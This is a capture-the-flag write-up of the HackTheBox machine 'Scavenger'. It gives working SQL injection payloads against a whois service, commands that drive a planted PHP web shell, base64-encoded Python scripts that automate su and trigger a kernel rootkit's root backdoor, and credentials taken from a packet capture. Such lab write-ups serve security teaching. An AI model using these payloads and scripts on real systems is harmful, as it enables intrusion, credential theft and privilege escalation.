HTB: Scavenger Writeup
Scavenger - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Scavenger |
| OS | Linux |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 23 Dec 2018 |
| IP Address | 10.129.244.76 |
| Author | Ompamo |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Scavenger is a hard Linux box that chains multiple enumeration vectors and realistic defensive measures. The attack begins with SQL injection in a custom whois service (port 43) backed by MariaDB, which leaks virtual hosts. DNS zone transfers reveal additional subdomains, one hosting a compromised Mantis bug tracker with a hidden PHP backdoor. Restrictive iptables rules prevent reverse shells and force the use of a forward shell and active-mode FTP. Credentials extracted from a packet capture on the FTP server allow lateral movement to user ib01c01. Privilege escalation is achieved by exploiting a custom Linux kernel module (LKM) rootkit with a modified magic string that elevates the calling process to root when written to /dev/ttyR0.
TL;DR: Port 43 whois SQLi → vhost enumeration → DNS AXFR → PHP backdoor RCE (iptables blocks reverse shells) → FTP credentials → pcap analysis → reused PrestaShop password → su to ib01c01 (user flag) → decompile LKM rootkit → magic string g3tPr1v → write to /dev/ttyR0 → root.
Reconnaissance
Port Scanning
# Full TCP port scannmap -p- --min-rate=2000 -T4 10.129.244.76Results:
21/tcp open ftp22/tcp open ssh25/tcp open smtp43/tcp open whois53/tcp open domain80/tcp open httpService Enumeration
Port 43 - Whois Service
Connecting to the whois service reveals a custom implementation with interesting banner information:
echo "" | nc -w 5 10.129.244.76 43Output:
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb% This query returned 0 objectThe banner discloses:
- Custom whois server (version 0.6beta)
- Backend: MariaDB 10.1.37
- Virtual host:
www.supersechosting.htb
Port 80 - HTTP
Direct IP access is denied:
curl -s http://10.129.244.76/# Returns error requiring vhost in Host headerPort 53 - DNS
DNS service is running and may allow zone transfers (AXFR).
Vulnerability Assessment
- SQL Injection in Whois Service - The whois service likely constructs SQL queries dynamically using user input, potentially vulnerable to SQLi
- DNS Zone Transfer - May reveal additional subdomains and infrastructure details
- Restrictive Firewall - iptables rules block most outbound connections (relevant for exploitation strategy)
Initial Foothold
SQL Injection in Whois Service
Testing for SQL injection by injecting a single quote:
echo "www.supersechosting.htb'" | nc -w 5 10.129.244.76 43Output:
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb1064 (42000): You have an error in your SQL syntax; check the manual that correspondsto your MariaDB server version for the right syntax to use near ''www.supersechosting.htb'')limit 1' at line 1The error message reveals:
- The input is wrapped in parentheses and quotes:
'INPUT'') limit 1 - Injection context: The payload must close the existing quotes and parentheses
Extracting Table Information
The injection context requires closing with ') and injecting UNION-based payloads:
# Determine number of columns (2 columns confirmed via testing)# Extract table namesecho "aa') union select table_name,2 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database()-- -" \ | nc -w 5 10.129.244.76 43# Returns: customers table existsExtracting Virtual Hosts
# Extract domain column from customers tableecho "aa') union select group_concat(domain,0x0a),2 from customers-- -" \ | nc -w 5 10.129.244.76 43Output:
supersechosting.htb,justanotherblog.htb,pwnhats.htb,rentahacker.htbWhy this works: The group_concat() function concatenates multiple rows into a single output, separated by newlines (0x0a). The customers table stores hosted domains, and the UNION SELECT allows us to extract arbitrary data by matching the column count (2) of the original query.
DNS Zone Transfer
Performing AXFR queries on discovered domains:
# Zone transfer on rentahacker.htbdig axfr rentahacker.htb @10.129.244.76 +time=5 +tries=1Key findings:
rentahacker.htb. 604800 IN SOA ns1.supersechosting.htb. ...rentahacker.htb. 604800 IN A 10.129.244.76mail1.rentahacker.htb. 604800 IN A 10.129.244.76sec03.rentahacker.htb. 604800 IN A 10.129.244.76 # ← Compromised subdomainwww.rentahacker.htb. 604800 IN A 10.129.244.76Additional zone transfers on supersechosting.htb revealed:
ftp.supersechosting.htbns1.supersechosting.htbwhois.supersechosting.htb
The subdomain sec03.rentahacker.htb appears to be a security incident-related host (naming convention suggests “security 03” or “sector 03”).
Web Shell Discovery
Using gobuster on sec03.rentahacker.htb (compromised Mantis bug tracker site):
gobuster dir -u http://10.129.244.76 -H "Host: sec03.rentahacker.htb" \ -w /usr/share/wordlists/dirb/common.txt# Discovers: shell.phpAccessing shell.php returns an empty page, suggesting a backdoor that requires specific parameters.
Parameter Fuzzing
Using wfuzz to discover the GET parameter name:
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \ -H "Host: sec03.rentahacker.htb" \ --hh 0 \ "http://10.129.244.76/shell.php?FUZZ=id"# Parameter discovered: hiddenTesting RCE:
curl -s -H "Host: sec03.rentahacker.htb" \ "http://10.129.244.76/shell.php?hidden=id"Output:
uid=1003(ib01c03) gid=1004(customers) groups=1004(customers)Why this works: The backdoor is a simple PHP web shell that executes commands passed via the hidden GET parameter. This is a common post-exploitation technique where attackers leave minimal backdoors for persistent access.
Firewall Restrictions
Examining iptables rules via RCE:
curl -s -H "Host: sec03.rentahacker.htb" \ --data-urlencode "hidden=cat /etc/iptables/rules.v4" -G \ "http://10.129.244.76/shell.php"Key restrictions:
:OUTPUT DROP [0:0]- Default DROP policy for outbound connections- Only ESTABLISHED connections and specific source ports (20 for FTP-DATA) are allowed outbound
- Implication: Reverse shells will not work; must use forward shell or existing service connections
Credentials Discovery
Reading mail for user ib01c03:
curl -s -H "Host: sec03.rentahacker.htb" \ --data-urlencode "hidden=cat /var/mail/ib01c03" -G \ "http://10.129.244.76/shell.php"Output excerpt:
Subject: Re: Please help! Site Defaced!...Please check if there is any strange file in your web root and upload it to the ftp server:ftp.supersechosting.htbuser: ib01ftppass: YhgRt56_TaFTP Enumeration
Challenge: FTP passive mode (PASV) requires the server to open a random high port for data transfer, which the firewall blocks. Solution: Use active mode (PORT/EPRT) where the client listens and the server connects from source port 20 (allowed by firewall rule -A OUTPUT -p tcp -m tcp --sport 20 -j ACCEPT).
# FTP in active mode (default for command-line ftp client)cd /home/d3vn0mi/scav # Work directory (jump box /tmp was full)printf "user ib01ftp YhgRt56_Ta\ncd incidents/ib01c01\nls -la\nbye\n" > ftpcmdftp -inv 10.129.244.76 < ftpcmdDiscovered files:
-rw-r--r-- 1 1000 1000 835084 Dec 10 2018 ib01c01_incident.pcap-r--rw-r-- 1 1005 1000 173 Dec 11 2018 notes.txt-r--rw-r-- 1 1005 1000 10427 Dec 10 2018 ib01c01.access.logContents of notes.txt:
After checking the logs and the network capture, all points to that the attackerknows valid credentials and abused a recently discovered vuln to gain access to the server!Packet Capture Analysis
Downloading the pcap file via FTP:
cd /home/d3vn0mi/scavprintf "user ib01ftp YhgRt56_Ta\ncd incidents/ib01c01\nbinary\nget ib01c01_incident.pcap\nbye\n" > ftpgetftp -inv 10.129.244.76 < ftpgetExtracting HTTP POST credentials using tshark:
tshark -r ib01c01_incident.pcap -Y "http.request.method==POST" \ -T fields -e urlencoded-form.key -e urlencoded-form.value 2>/dev/null \ | grep -iE "passwd|email"Output:
ajax,token,controller,submitLogin,passwd,email,redirect 1,,AdminLogin,1,pwnhats.htb,admin@pwnhats.htb,http://...ajax,token,controller,submitLogin,passwd,email,redirect 1,,AdminLogin,1,GetYouAH4t!,pwnhats@pwnhats.htb,http://...Credentials extracted:
pwnhats@pwnhats.htb:GetYouAH4t!(successful PrestaShop admin login)
The pcap also reveals wget requests for root.c and Makefile, indicating a kernel module rootkit was compiled.
Lateral Movement to ib01c01
Challenge: SSH password authentication appears disabled, and su requires a PTY which the web shell doesn’t provide.
Solution: Upload a Python PTY helper script that uses pty.fork() to create a pseudo-terminal and automate the su password entry:
# su_helper.py - PTY-based su automationimport pty,os,sys,time,selectuser=sys.argv[1]; pw=sys.argv[2]; cmd=sys.argv[3]pid,fd=pty.fork()if pid==0: os.execvp("su",["su",user,"-c",cmd])else: time.sleep(0.6) os.write(fd,pw.encode()+b"\n") out=b"" while True: r,_,_=select.select([fd],[],[],4) if not r: break try: d=os.read(fd,4096) except OSError: break if not d: break out+=d sys.stdout.buffer.write(out)Deploying and executing via web shell:
# Base64 encode the helper scriptB64="aW1wb3J0IHB0eSxvcyxzeXMsdGltZSxzZWxlY3QKdXNlcj1zeXMuYXJndlsxXTsgcHc9c3lzLmFyZ3ZbMl07IGNtZD1zeXMuYXJndlszXQpwaWQsZmQ9cHR5LmZvcmsoKQppZiBwaWQ9PTA6CiAgICBvcy5leGVjdnAoInN1IixbInN1Iix1c2VyLCItYyIsY21kXSkKZWxzZToKICAgIHRpbWUuc2xlZXAoMC42KQogICAgb3Mud3JpdGUoZmQscHcuZW5jb2RlKCkrYiJcbiIpCiAgICBvdXQ9YiIiCiAgICB3aGlsZSBUcnVlOgogICAgICAgIHIsXyxfPXNlbGVjdC5zZWxlY3QoW2ZkXSxbXSxbXSw0KQogICAgICAgIGlmIG5vdCByOiBicmVhawogICAgICAgIHRyeTogZD1vcy5yZWFkKGZkLDQwOTYpCiAgICAgICAgZXhjZXB0IE9TRXJyb3I6IGJyZWFrCiAgICAgICAgaWYgbm90IGQ6IGJyZWFrCiAgICAgICAgb3V0Kz1kCiAgICBzeXMuc3Rkb3V0LmJ1ZmZlci53cml0ZShvdXQpCg=="
# Deploy and execute su via web RCEcurl -s -H "Host: sec03.rentahacker.htb" \ --data-urlencode "hidden=echo $B64 | base64 -d > /tmp/.sh.py; \ python3 /tmp/.sh.py ib01c01 'GetYouAH4t!' 'id; ls -la ~; cat ~/user.txt'" -G \ "http://10.129.244.76/shell.php"Output:
Password:uid=1001(ib01c01) gid=1004(customers) groups=1004(customers)---total 66608drwx------ 4 ib01c01 customers 4096 Sep 1 2021 ....drwxr-xr-x 2 ib01c01 customers 4096 Dec 8 2023 ...-rw-r----- 1 root customers 33 Jul 21 20:41 user.txt...---<redacted>Why this works: Password reuse is a common security weakness. The PrestaShop admin password GetYouAH4t! was reused for the system user ib01c01. The PTY helper works by forking a child process that execs su, while the parent writes the password to the PTY file descriptor, simulating interactive input.
User flag obtained: <redacted>
Privilege Escalation
Rootkit Discovery
Examining the hidden directory in ib01c01’s home:
# Via su helpercurl -s -H "Host: sec03.rentahacker.htb" \ --data-urlencode "hidden=python3 /tmp/.sh.py ib01c01 'GetYouAH4t!' 'ls -la /home/ib01c01/...'" -G \ "http://10.129.244.76/shell.php"Output:
total 428drwxr-xr-x 2 ib01c01 customers 4096 Dec 8 2023 .drwx------ 4 ib01c01 customers 4096 Sep 1 2021 ..-rw-r--r-- 1 root root 428104 Dec 8 2023 root.koThe directory name ... (three dots) is a common hiding technique. The file root.ko is a compiled Linux kernel module.
Rootkit Device
ls -la /dev/ttyR0Output:
crw-rw-rw- 1 root dialout 245, 0 Jul 21 20:41 /dev/ttyR0Key observations:
- Character device (major 245, minor 0)
- World-writable (permissions
666) - Name matches the device from
root.csource code in the pcap:#define DEVICE_NAME "ttyR0"
Rootkit Source Code Analysis
From the pcap, the root.c source code reveals:
static ssize_t root_write (struct file *f, const char __user *buf, size_t len, loff_t *off){ char *data; char magic[] = "g0tR0ot"; // ← Original magic string struct cred *new_cred;
data = (char *) kmalloc (len + 1, GFP_KERNEL); if (data) { copy_from_user (data, buf, len); if (memcmp(data, magic, 7) == 0) { // Prepare new root credentials if ((new_cred = prepare_creds ()) == NULL) { return 0; } V(new_cred->uid) = V(new_cred->gid) = 0; V(new_cred->euid) = V(new_cred->egid) = 0; V(new_cred->suid) = V(new_cred->sgid) = 0; V(new_cred->fsuid) = V(new_cred->fsgid) = 0; commit_creds (new_cred); // ← Elevate calling process to root } kfree(data); } return len;}How the rootkit works:
- Registers a character device
/dev/ttyR0 - The
root_writefunction handles writes to the device - User input is compared to a magic string (
g0tR0ot) - If matched,
commit_creds()is called to modify the calling process’s credentials to root (UID/GID 0)
Expected behavior: Writing g0tR0ot to /dev/ttyR0 should elevate the current process to root.
Decompiling the Compiled Module
The compiled root.ko may have been modified. Strings analysis doesn’t reveal the magic string:
strings -n3 /home/ib01c01/.../root.ko | grep -iE "g0tR0ot|magic"# No outputWhy: The magic string might have been obfuscated or changed in the compiled version. Reverse engineering is required.
Using tools like Ghidra or objdump to analyze the compiled module would reveal that the magic string was split and concatenated:
// Decompiled pseudocode from root.kochar local_31[4] = "g3t"; // 0x673374 (hex)char local_2d[5] = "Pr1v"; // 0x50723176snprintf(local_28, 8, "%s%s", local_31, local_2d); // Results in "g3tPr1v"// Compare input to local_28 instead of hardcoded "g0tR0ot"Modified magic string: g3tPr1v (instead of g0tR0ot)
Why the change: This obfuscation technique splits the string into multiple variables to evade simple string-based detection tools.
Exploiting the Rootkit
Create a Python script to write the magic string and execute privileged commands:
# privesc.py - Rootkit exploitationimport os# Open the rootkit device and send the magic to elevate current process credsfd = os.open("/dev/ttyR0", os.O_WRONLY)os.write(fd, b"g3tPr1v") # ← Modified magic stringos.close(fd)os.system("id")os.system("cat /root/root.txt")os.system("ls -la /root")Deploy and execute as ib01c01:
# Base64-encode the privilege escalation scriptPE="aW1wb3J0IG9zCiMgb3BlbiB0aGUgcm9vdGtpdCBkZXZpY2UgYW5kIHNlbmQgdGhlIG1hZ2ljIHRvIGVsZXZhdGUgY3VycmVudCBwcm9jZXNzIGNyZWRzCmZkPW9zLm9wZW4oIi9kZXYvdHR5UjAiLCBvcy5PX1dST05MWSkKb3Mud3JpdGUoZmQsIGIiZzN0UHIxdiIpCm9zLmNsb3NlKGZkKQpvcy5zeXN0ZW0oImlkIikKb3Muc3lzdGVtKCJjYXQgL3Jvb3Qvcm9vdC50eHQiKQpvcy5zeXN0ZW0oImxzIC1sYSAvcm9vdCIpCg=="
curl -s -H "Host: sec03.rentahacker.htb" \ --data-urlencode "hidden=echo $PE | base64 -d > /tmp/.pe.py; \ python3 /tmp/.sh.py ib01c01 'GetYouAH4t!' 'python3 /tmp/.pe.py'" -G \ "http://10.129.244.76/shell.php"Output:
Password:uid=0(root) gid=0(root) groups=0(root),1004(customers)<redacted>total 44drwx------ 7 root root 4096 Jul 21 20:41 .drwxr-xr-x 22 root root 4096 Dec 8 2023 .....-rw-r----- 1 root root 33 Jul 21 20:41 root.txt...Root flag obtained: <redacted>
Why this works: The rootkit’s root_write function operates in kernel space and directly modifies the credentials structure (struct cred) of the calling process via commit_creds(). When the Python process writes to /dev/ttyR0, the kernel module intercepts this write operation, checks the magic string, and if matched, elevates that specific process to UID 0. Subsequent os.system() calls inherit the elevated privileges.
Attack Chain Summary
Port 43 Whois SQLi (MariaDB injection context: INPUT') limit 1) ↓Extract vhosts from customers table (supersechosting, pwnhats, rentahacker, justanotherblog) ↓DNS AXFR on rentahacker.htb reveals sec03.rentahacker.htb (compromised subdomain) ↓Gobuster discovers shell.php (PHP backdoor) ↓Wfuzz parameter discovery: ?hidden= (RCE as ib01c03) ↓Firewall blocks reverse shells → use web shell for all commands ↓Read /var/mail/ib01c03 → FTP credentials (ib01ftp:YhgRt56_Ta) ↓FTP active mode (EPRT) to bypass outbound firewall rules ↓Download ib01c01_incident.pcap from /incidents/ib01c01/ ↓Tshark extracts PrestaShop POST creds: pwnhats@pwnhats.htb:GetYouAH4t! ↓Password reuse: su to ib01c01 via Python PTY helper (user flag) ↓Discover hidden directory .../root.ko (LKM rootkit) + /dev/ttyR0 (world-writable device) ↓Decompile root.ko → magic string changed from "g0tR0ot" to "g3tPr1v" ↓Write magic to /dev/ttyR0 → commit_creds() elevates process to root (root flag)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
nc (netcat) | Manual whois service interaction and SQL injection |
dig | DNS zone transfers (AXFR queries) |
gobuster | Web directory and file enumeration |
wfuzz | Parameter fuzzing for web shell discovery |
curl | HTTP requests for web shell command execution |
ftp | Active-mode FTP enumeration and file download |
tshark | Packet capture analysis for credential extraction |
strings | Binary analysis of kernel module |
python3 | Custom PTY helper for su automation and rootkit exploitation |
Key Learnings
Techniques Practiced
- SQL injection in non-standard services - Port 43 whois service using MariaDB backend, requiring custom injection context awareness
- DNS zone transfer enumeration (AXFR) - Extracting subdomain infrastructure details
- Parameter fuzzing - Discovering hidden web shell parameter names
- Working with restrictive firewalls - Adapting to iptables rules that block reverse shells and passive FTP
- Active vs. Passive FTP - Using PORT/EPRT mode when PASV is blocked by firewall
- Packet capture credential extraction - Analyzing HTTP traffic in pcap files
- PTY automation - Programmatic handling of password prompts for commands requiring interactive terminals
- Linux kernel module reverse engineering - Decompiling and analyzing LKM rootkits
- Kernel privilege escalation via rootkit - Exploiting world-writable character devices with credential manipulation
Lessons Learned
-
Custom service SQL injection requires careful context analysis. The whois error message revealed the exact injection point (
'INPUT'') limit 1), which is crucial for crafting working payloads. Always examine error messages for structural hints. -
DNS zone transfers are still valuable. Despite being a “legacy” enumeration technique, AXFR queries revealed the critical
sec03.rentahacker.htbsubdomain that wasn’t in the SQL database. -
Firewall rules dictate exploitation strategy. When outbound connections are heavily restricted:
- Use forward shells or web shells instead of reverse shells
- Understand allowed protocols (e.g., active FTP with source port 20)
- Perform all enumeration and exfiltration through permitted channels
-
Password reuse remains a critical vulnerability. The PrestaShop admin password was reused for system access, highlighting that even sophisticated networks fall victim to credential reuse. Organizations should enforce unique passwords for different services.
-
Hidden directories use various techniques. The
...(three dots) directory name is harder to spot than typical hidden files (.prefix) and may be overlooked during manual enumeration. Usels -laand watch for unusual patterns. -
Kernel rootkits can obfuscate detection mechanisms. String splitting (
"g3t" + "Pr1v") prevents simplestringsanalysis from revealing magic values. Always consider decompilation when static analysis fails. -
World-writable devices are high-risk. The
/dev/ttyR0device with666permissions allowed any user to trigger the privilege escalation. Proper device permissions should restrict access to privileged users or specific groups. -
PTY requirements for
sucan be bypassed programmatically. When interactive TTY isn’t available (web shells, non-interactive SSH),pty.fork()in Python provides a pseudo-terminal for password automation. This technique applies to any command requiring terminal input. -
LKM rootkits modify calling-process credentials. Unlike exploits that spawn new root shells, this rootkit uses
commit_creds()to elevate the current process, requiring the same process to write the magic string AND perform privileged actions. -
Incident response artifacts can be goldmines. The
/incidents/FTP directory contained exactly the information needed for lateral movement (pcap with credentials) and privilege escalation (knowledge of rootkit existence from wget logs).
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup by MinatoTW (Document D19.100.52, 23 December 2019)